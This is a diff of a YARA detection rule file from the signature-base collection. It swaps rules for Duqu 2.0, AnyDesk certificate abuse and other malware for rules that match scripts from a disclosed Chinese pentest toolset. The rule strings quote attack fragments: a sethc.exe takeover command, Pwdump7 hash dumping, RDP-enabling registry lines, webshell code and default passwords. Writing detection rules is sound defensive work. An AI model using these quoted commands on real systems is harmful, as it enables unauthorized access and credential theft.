+		modified = "2023-12-05"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L8-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "826778ef9c22177d41698b467586604e001fed19"
+		logic_hash = "db54561ba4b9c1bd4d9b183658b98f6fd3165b05c8d6d7f006ae3b5fc96ba549"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sc1 = { 0D BF 15 2D EA F0 B9 81 A8 A9 38 D5 3F 76 9D B8 }
-		$s2 = "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1"
-		$f1 = "AnyDesk Software GmbH" wide
+		$s0 = "echo \"# vbox (voice box) getty\" >> /tmp/.init1" fullword ascii
+		$s1 = "cp /var/log/tcp.log $HOMEDIR/.owned/bex2/snifflog" fullword ascii
+		$s2 = "if [ -f /sbin/xlogin ]; then" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20000KB and all of ($s*) and not 1 of ($f*)
+		filesize <96KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Anydesk_Compromised_Certificate_Jan24_3 : FILE
+rule SIGNATURE_BASE_CN_Honker_Passwd_Dict_3389 : FILE
 {
 	meta:
-		description = "Detects binaries signed with a compromised signing certificate of AnyDesk after it was revoked (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; version that uses dates for validation)"
-		author = "Florian Roth"
-		id = "9610e61c-25d7-53e8-ba3f-b78b3d108aa3"
-		date = "2024-02-02"
-		modified = "2024-04-24"
-		reference = "https://anydesk.com/en/public-statement"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_anydesk_compromised_cert_feb23.yar#L58-L77"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fdd1068abfba52c9a40fd2b6628a5c67775eb31815e6d53bfc4655080d9b240e"
-		score = 75
+		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9418f0e5-7bf0-5df3-8857-dea90fae5a54"
+		date = "2015-06-23"
+		modified = "2023-12-05"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L26-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2897e909e48a9f56ce762244c3a3e9319e12362f"
+		logic_hash = "2be79fc7388ca12f06577e689944bcfa72ed1e1b6da5a7fa15c8da69a4555a9a"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s0 = "654321" fullword ascii
+		$s1 = "admin123" fullword ascii
+		$s2 = "admin123456" fullword ascii
+		$s3 = "administrator" fullword ascii
+		$s4 = "passwd" fullword ascii
+		$s5 = "password" fullword ascii
+		$s7 = "12345678" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and pe.signatures[i].serial=="0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8" and (pe.signatures[i].not_before>1706486400 or pe.timestamp>1706486400))
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_APT_Apt_Duqu2_Loaders : FILE
+rule SIGNATURE_BASE_CN_Honker_Perl_Serv_U : FILE
 {
 	meta:
-		description = "Rule to detect Duqu 2.0 samples"
-		author = "Kaspersky Lab"
-		id = "22db52c2-18e7-537e-a9c5-38ccfd3a0d30"
-		date = "2015-06-09"
+		description = "Script from disclosed CN Honker Pentest Toolset - file Perl-serv-U.pl"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d793227d-dd4d-5c92-bfdc-9662c3ed8933"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_kaspersky_duqu2.yar#L10-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "79f205745e61b55c43c239d9da9086fd72312ea2741351183d32f7c227174ff8"
-		score = 75
-		quality = 83
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L48-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f333c597ff746ebd5a641fbc248497d61e3ec17b"
+		logic_hash = "deb4ee54f9127bc093f96f7dbf3633fbfc3f66358c76fb15928dabbbffdd4963"
+		score = 70
+		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
-		$a2 = "\\\\.\\pipe\\{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
-		$a4 = "\\\\.\\pipe\\{AB6172ED-8105-4996-9D2A-597B5F827501}" wide
-		$a5 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" wide
-		$a8 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" wide
-		$a9 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" wide
-		$a7 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" wide
-		$b1 = "MSI.dll"
-		$b2 = "msi.dll"
-		$b3 = "StartAction"
-		$c1 = "msisvc_32@" wide
-		$c2 = "PROP=" wide
-		$c3 = "-Embedding" wide
-		$c4 = "S:(ML;;NW;;;LW)" wide
-		$d1 = "NameTypeBinaryDataCustomActionActionSourceTargetInstallExecuteSequenceConditionSequencePropertyValueMicrosoftManufacturer" nocase
-		$d2 = {2E 3F 41 56 3F 24 5F 42 69 6E 64 40 24 30 30 58 55 3F 24 5F 50 6D 66 5F 77 72 61 70 40 50 38 43 4C 52 ?? 40 40 41 45 58 58 5A 58 56 31 40 24 24 24 56 40 73 74 64 40 40 51 41 56 43 4C 52 ?? 40 40 40 73 74 64 40 40}
+		$s1 = "$dir = 'C:\\\\WINNT\\\\System32\\\\';" fullword ascii
+		$s2 = "$sock = IO::Socket::INET->new(\"127.0.0.1:$adminport\") || die \"fail\";" fullword ascii
 
 	condition:
-		(( uint16(0)==0x5a4d) and (( any of ($a*)) or ( all of ($b*)) or ( all of ($c*))) and filesize <100000) or (( uint32(0)==0xe011cfd0) and (( any of ($a*)) or ( all of ($b*)) or ( all of ($c*)) or ( any of ($d*))) and filesize <20000000)
+		filesize <8KB and all of them
 }
-rule SIGNATURE_BASE_APT_Apt_Duqu2_Drivers : FILE
+rule SIGNATURE_BASE_CN_Honker_F4Ck_Team_F4Ck : FILE
 {
 	meta:
-		description = "Rule to detect Duqu 2.0 drivers"
-		author = "Kaspersky Lab"
-		id = "714d5151-9f80-582e-a628-1de9d83a072d"
-		date = "2015-06-09"
+		description = "Script from disclosed CN Honker Pentest Toolset - file f4ck.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "abf2f277-79b4-5ca2-b12e-93a662e5d607"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_kaspersky_duqu2.yar#L40-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "023a51408f86814a8f810d0f89b185aca07dd60a1abb6de47f86ad8eeda4c4c4"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L65-L81"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e216f4ba3a07de5cdbb12acc038cd8156618759e"
+		logic_hash = "be4817bcaae952eb13c35dd89606ec733c682b2e197054bb348c3934012bd105"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "\\DosDevices\\port_optimizer" wide nocase
-		$a2 = "romanian.antihacker"
-		$a3 = "PortOptimizerTermSrv" wide
-		$a4 = "ugly.gorilla1"
-		$b1 = "NdisIMCopySendCompletePerPacketInfo"
-		$b2 = "NdisReEnumerateProtocolBindings"
-		$b3 = "NdisOpenProtocolConfiguration"
+		$s0 = "PassWord:F4ckTeam!@#" fullword ascii
+		$s1 = "UserName:F4ck" fullword ascii
+		$s2 = "F4ck Team" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and ( any of ($a*)) and (2 of ($b*)) and filesize <100000
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_Duqu2_Generic1 : FILE
+rule SIGNATURE_BASE_CN_Honker_Sig_3389_3389 : FILE
 {
 	meta:
-		description = "Kaspersky APT Report - Duqu2 Sample - Generic Rule"
+		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.vbs"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0e03eda5-d65b-5400-aceb-bc37559d9a6e"
-		date = "2015-06-10"
+		id = "6d385820-befe-5e2b-8c48-ad90564d5f42"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/7yKyOj"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_kaspersky_duqu2.yar#L61-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "742934198391bd30da654bf8efedc2a18c58dd0de357b2bcdbdbe8066187b0c2"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L83-L97"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f92b74f41a2138cc05c6b6993bcc86c706017e49"
+		logic_hash = "32603edd3f188a9f4919795df04112883d7b88da46b13fcd0b0e0065fd4c016b"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "3f9168facb13429105a749d35569d1e91465d313"
-		hash1 = "0a574234615fb2382d85cd6d1a250d6c437afecc"
-		hash2 = "38447ed1d5e3454fe17699f86c0039f30cc64cde"
-		hash3 = "5282d073ee1b3f6ce32222ccc2f6066e2ca9c172"
-		hash4 = "edfca3f0196788f7fde22bd92a8817a957c10c52"
-		hash5 = "6a4ffa6ca4d6fde8a30b6c8739785f4bd2b5c415"
-		hash6 = "00170bf9983e70e8dd4f7afe3a92ce1d12664467"
-		hash7 = "32f8689fd18c723339414618817edec6239b18f3"
-		hash8 = "f860acec9920bc009a1ad5991f3d5871c2613672"
-		hash9 = "413ba509e41c526373f991d1244bc7c7637d3e13"
-		hash10 = "29cd99a9b6d11a09615b3f9ef63f1f3cffe7ead8"
-		hash11 = "dfe1cb775719b529138e054e7246717304db00b1"
 
 	strings:
-		$s0 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" fullword wide
-		$s1 = "SetSecurityDescriptorSacl" fullword ascii
-		$s2 = "msisvc_32@" fullword wide
-		$s3 = "CompareStringA" fullword ascii
-		$s4 = "GetCommandLineW" fullword ascii
+		$s1 = "success = obj.run(\"cmd /c takeown /f %SystemRoot%\\system32\\sethc.exe&echo y| " ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and all of them
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_APT_Kaspersky_Duqu2_Procexp : FILE
+rule SIGNATURE_BASE_CN_Honker_Sig_3389_3389_2 : FILE
 {
 	meta:
-		description = "Kaspersky APT Report - Duqu2 Sample - Malicious MSI"
+		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d7fd48d5-2416-5eff-a751-ece09ce27767"
-		date = "2015-06-10"
+		id = "f449f632-3102-5e62-b790-5546698dd663"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/7yKyOj"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_kaspersky_duqu2.yar#L92-L114"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd63f0eebc88fa0737905f20dc30dc968df81b7976a86ed8ed5646f7708c4b4a"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L99-L114"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5ff92f39ade12f8ba6cb75dfdc9bb907e49f0ebd"
+		logic_hash = "637b3368fac624ca78d2f573b8b937b6b265426d7ed923f3a3d06039663c97ad"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2422835716066b6bcecb045ddd4f1fbc9486667a"
-		hash2 = "b120620b5d82b05fee2c2153ceaf305807fa9f79"
-		hash3 = "288ebfe21a71f83b5575dfcc92242579fb13910d"
 
 	strings:
-		$x1 = "svcmsi_32.dll" fullword wide
-		$x2 = "msi3_32.dll" fullword wide
-		$x3 = "msi4_32.dll" fullword wide
-		$x4 = "MSI.dll" fullword ascii
-		$s1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
-		$s2 = "Sysinternals installer" fullword wide
-		$s3 = "Process Explorer" fullword wide
+		$s1 = "@del c:\\termsrvhack.dll" fullword ascii
+		$s2 = "@del c:\\3389.txt" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*)) and ( all of ($s*))
+		filesize <3KB and all of them
 }
-rule SIGNATURE_BASE_APT_Kaspersky_Duqu2_Samsungprint : FILE
+rule SIGNATURE_BASE_CN_Honker_Injection_Transit_Jmcook : FILE
 {
 	meta:
-		description = "Kaspersky APT Report - Duqu2 Sample"
+		description = "Script from disclosed CN Honker Pentest Toolset - file jmCook.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cc4bc00e-f38b-577f-8f00-637c0549894c"
-		date = "2015-06-10"
+		id = "468abb0e-a163-5fc5-b6a1-896fc04b8570"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/7yKyOj"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_kaspersky_duqu2.yar#L116-L134"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ce39f41eb4506805efca7993d3b0b506ab6776ca"
-		logic_hash = "9b2d80cfe3c47ac315b76c773acc3290668e06e4bbd99402e203b72af593fab8"
-		score = 75
-		quality = 85
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L116-L131"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
+		logic_hash = "f7a9aca65b92d4b9c787d83a421b54a23844fa8e061c6c627ddde8ab5b7f4396"
+		score = 70
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Installer for printer drivers and applications" fullword wide
-		$s1 = "msi4_32.dll" fullword wide
-		$s2 = "HASHVAL" fullword wide
-		$s3 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
-		$s4 = "ca.dll" fullword ascii
-		$s5 = "Samsung Electronics Co., Ltd." fullword wide
+		$s1 = ".Open \"POST\",PostUrl,False" fullword ascii
+		$s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <82KB and all of them
+		filesize <9KB and all of them
 }
-rule SIGNATURE_BASE_APT_Kaspersky_Duqu2_Msi3_32 : FILE
+rule SIGNATURE_BASE_CN_Honker_Pwdump7_Pwdump7 : FILE
 {
 	meta:
-		description = "Kaspersky APT Report - Duqu2 Sample"
+		description = "Script from disclosed CN Honker Pentest Toolset - file Pwdump7.bat"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6cbea2e7-f406-57cf-b9c8-9d84b1480035"
-		date = "2015-06-10"
+		id = "baf6ced6-4298-5453-a020-a384c923584c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/7yKyOj"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_kaspersky_duqu2.yar#L136-L157"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "53d9ef9e0267f10cc10f78331a9e491b3211046b"
-		logic_hash = "718223d1ff82ffa0f3204e0cdaf0d441ed133f1f069d9ba2eb818bd3445f63ca"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L133-L147"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "67d0e215c96370dcdc681bb2638703c2eeea188a"
+		logic_hash = "50e4ec9716b4e9d824fb301bb493dcdcd9782d87c0fb8040b82a87faf56292cb"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "ProcessUserAccounts" fullword ascii
-		$s1 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide
-		$s2 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide
-		$s3 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
-		$s4 = "msi3_32.dll" fullword wide
-		$s5 = "RunDLL" fullword ascii
-		$s6 = "MSI Custom Action v3" fullword wide
-		$s7 = "msi3_32" fullword wide
-		$s8 = "Operating System" fullword wide
+		$s1 = "Pwdump7.exe >pass.txt" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <72KB and all of them
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_VULN_PHP_Hack_Backdoored_Zlib_Zerodium_Mar21_1 : FILE
+rule SIGNATURE_BASE_CN_Honker_Portrecall_Pr : FILE
 {
 	meta:
-		description = "Detects backdoored PHP zlib version"
+		description = "Script from disclosed CN Honker Pentest Toolset - file pr"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5e0ab8f8-776a-52b0-b5be-ff1d34bccfd1"
-		date = "2021-03-29"
+		id = "1e137ed0-3af6-5b01-a27b-87bf42359887"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_php_zlib_backdoor.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "74bfd9e12cb7671cde953d361a2adeb9388edd9b2aab0f9ce04dce0d433561dc"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L149-L165"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "583cf6dc2304121d835f2879803a22fea76930f3"
+		logic_hash = "f33373e87887506651b1fac464f860a3cf18ad681ba124b606524f6f2255e693"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "REMOVETHIS: sold to zerodium, mid 2017" fullword ascii
-		$x2 = "HTTP_USER_AGENTT" ascii fullword
+		$s1 = "Usage: Same as lcx.exe in win32 :)" fullword ascii
+		$s2 = "connect to client" fullword ascii
+		$s3 = "PR(Packet redirection) for linux " fullword ascii
 
 	condition:
-		filesize <3000KB and all of them
+		filesize <70KB and all of them
 }
-rule SIGNATURE_BASE_APT_LNX_Academic_Camp_May20_Eraser_1 : FILE
+rule SIGNATURE_BASE_CN_Honker_Sig_3389_3389_3 : FILE
 {
 	meta:
-		description = "Detects malware used in attack on academic data centers"
+		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
 		author = "Florian Roth (Nextron Systems)"
-		id = "36d17887-9844-5fa4-8a0d-89cc41b2d876"
-		date = "2020-05-16"
+		id = "ff61a5cb-6089-5632-a65d-09f4ffd99857"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://csirt.egi.eu/academic-data-centers-abused-for-crypto-currency-mining/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_academic_data_centers_camp_may20.yar#L1-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9a0410e86fa8fb8b599e5b8a6508d6889eb6e26600f0ecf222561ac4a169676d"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L167-L183"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cfedec7bd327897694f83501d76063fe16b13450"
+		logic_hash = "df07958e44c7896bc7bdf2b79bc95969593eb21b9c9ed51213fd15affb731ec2"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "552245645cc49087dfbc827d069fa678626b946f4b71cb35fa4a49becd971363"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sc2 = { E6 FF FF 48 89 45 D0 8B 45 E0 BA 00 00 00 00 BE
-               00 00 00 00 89 C7 E8 }
-		$sc3 = { E6 FF FF 89 45 DC 8B 45 DC 83 C0 01 48 98 BE 01
-               00 00 00 48 89 C7 E8 }
+		$s1 = "echo \"fDenyTSConnections\"=dword:00000000>>3389.reg " fullword ascii
+		$s2 = "echo \"PortNumber\"=dword:00000d3d>>3389.reg " fullword ascii
+		$s3 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server]>>" ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <60KB and all of them
+		filesize <2KB and all of them
 }
-rule SIGNATURE_BASE_APT_LNX_Academic_Camp_May20_Loader_1 : FILE
+rule SIGNATURE_BASE_CN_Honker_Alien_D : FILE
 {
 	meta:
-		description = "Detects malware used in attack on academic data centers"
+		description = "Script from disclosed CN Honker Pentest Toolset - file D.ASP"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cda65abd-d918-5ee6-8f4a-554d47532d76"
-		date = "2020-05-16"
+		id = "88529577-0dea-5aa8-b763-79a69397ddd5"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://csirt.egi.eu/academic-data-centers-abused-for-crypto-currency-mining/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_academic_data_centers_camp_may20.yar#L20-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a73883f9fdf3d53694d9f9efec5f8f15994c5fd80c5f2a87b1741db6b954a023"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L185-L203"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "de9cd4bd72b1384b182d58621f51815a77a5f07d"
+		logic_hash = "2eca697dd1f2ad80c5cd71507cd5f8abd2364b11dfe3206a1043e3d4f5835797"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "0efdd382872f0ff0866e5f68f0c66c01fcf4f9836a78ddaa5bbb349f20353897"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sc1 = { C6 45 F1 00 C6 45 F2 0A C6 45 F3 0A C6 45 F4 4A
-               C6 45 F5 04 C6 45 F6 06 C6 45 F7 1B C6 45 F8 01 }
-		$sc2 = { 01 48 39 EB 75 EA 48 83 C4 08 5B 5D 41 5C 41 5D }
+		$s0 = "Paths_str=\"c:\\windows\\\"&chr(13)&chr(10)&\"c:\\Documents and Settings\\\"&chr" ascii
+		$s1 = "CONST_FSO=\"Script\"&\"ing.Fil\"&\"eSyst\"&\"emObject\"" fullword ascii
+		$s2 = "Response.Write \"<form id='form1' name='form1' method='post' action=''>\"" fullword ascii
+		$s3 = "set getAtt=FSO.GetFile(filepath)" fullword ascii
+		$s4 = "Response.Write \"<input name='NoCheckTemp' type='checkbox' id='NoCheckTemp' chec" ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <10KB and all of them
+		filesize <30KB and 2 of them
 }
-rule SIGNATURE_BASE_Sphinx_Moth_Cudacrt : FILE
+rule SIGNATURE_BASE_CN_Honker_Chinachopper_Db : FILE
 {
 	meta:
-		description = "sphinx moth threat group file cudacrt.dll"
-		author = "Kudelski Security - Nagravision SA"
-		id = "233f657b-029a-5ed4-b2f7-712851297f18"
-		date = "2015-08-06"
+		description = "Script from disclosed CN Honker Pentest Toolset - file db.mdb"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1314e204-d3f5-5f0a-bb74-dc774fef3d3c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "www.kudelskisecurity.com"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sphinx_moth.yar#L9-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ae7ff3d5ffd29de80ce5dcccde9af04d2537a279fe35f6e94257d59a462ba6a0"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L205-L221"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "af79ff2689a6b7a90a5d3c0ebe709e42f2a15597"
+		logic_hash = "b650498df99c4620e3904ce8980cd58eb0cb5e0a7a275d54bdbcc41a687bec8e"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "HPSSOEx.dll" fullword wide
-		$s1 = "255.255.255.254" fullword wide
-		$s2 = "SOFTWARE\\SsoAuth\\Service" fullword wide
-		$op0 = { ff 15 5f de 00 00 48 8b f8 48 85 c0 75 0d 48 8b }
-		$op1 = { 45 33 c9 4c 8d 05 a7 07 00 00 33 d2 33 c9 ff 15 }
-		$op2 = { e8 7a 1c 00 00 83 f8 01 74 17 b9 03 }
